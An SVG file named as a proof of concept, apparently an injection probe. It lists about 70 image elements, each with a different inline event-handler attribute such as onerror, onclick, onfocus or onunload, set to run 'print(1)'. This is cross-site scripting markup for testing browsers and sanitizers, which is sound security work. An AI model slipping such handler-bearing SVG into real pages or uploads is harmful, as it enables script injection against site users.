poc9.svg

<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onafterprint="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onbeforeprint="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onbeforeunload="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onblur="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" oncanplay="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" oncanplaythrough="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onchange="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onclick="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" oncopy="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" oncut="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ondblclick="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ondrag="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ondragend="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ondragenter="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ondragleave="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ondragover="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ondragstart="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ondrop="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ondurationchange="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onended="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onerror="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onfocus="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onfocusin="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onfocusout="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onhashchange="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" oninput="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" oninvalid="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onkeydown="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onkeypress="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onkeyup="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onloadeddata="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onloadedmetadata="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onloadstart="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onmousedown="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onmouseenter="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onmouseleave="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onmousemove="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onmouseout="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onmouseup="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onoffline="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ononline="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onpagehide="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onpageshow="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onpaste="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onpause="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onplay="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onplaying="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onprogress="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onratechange="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onresize="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onreset="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onscroll="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onsearch="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onseeked="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onseeking="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onselect="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onstalled="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onsuspend="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ontimeupdate="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ontoggle="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ontouchcancel="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ontouchend="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ontouchmove="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" ontouchstart="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onunload="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onvolumechange="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onwaiting="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onscroll="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onscroll="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onscroll="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onscroll="print(1)"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onscroll="print(1)"/>

</svg>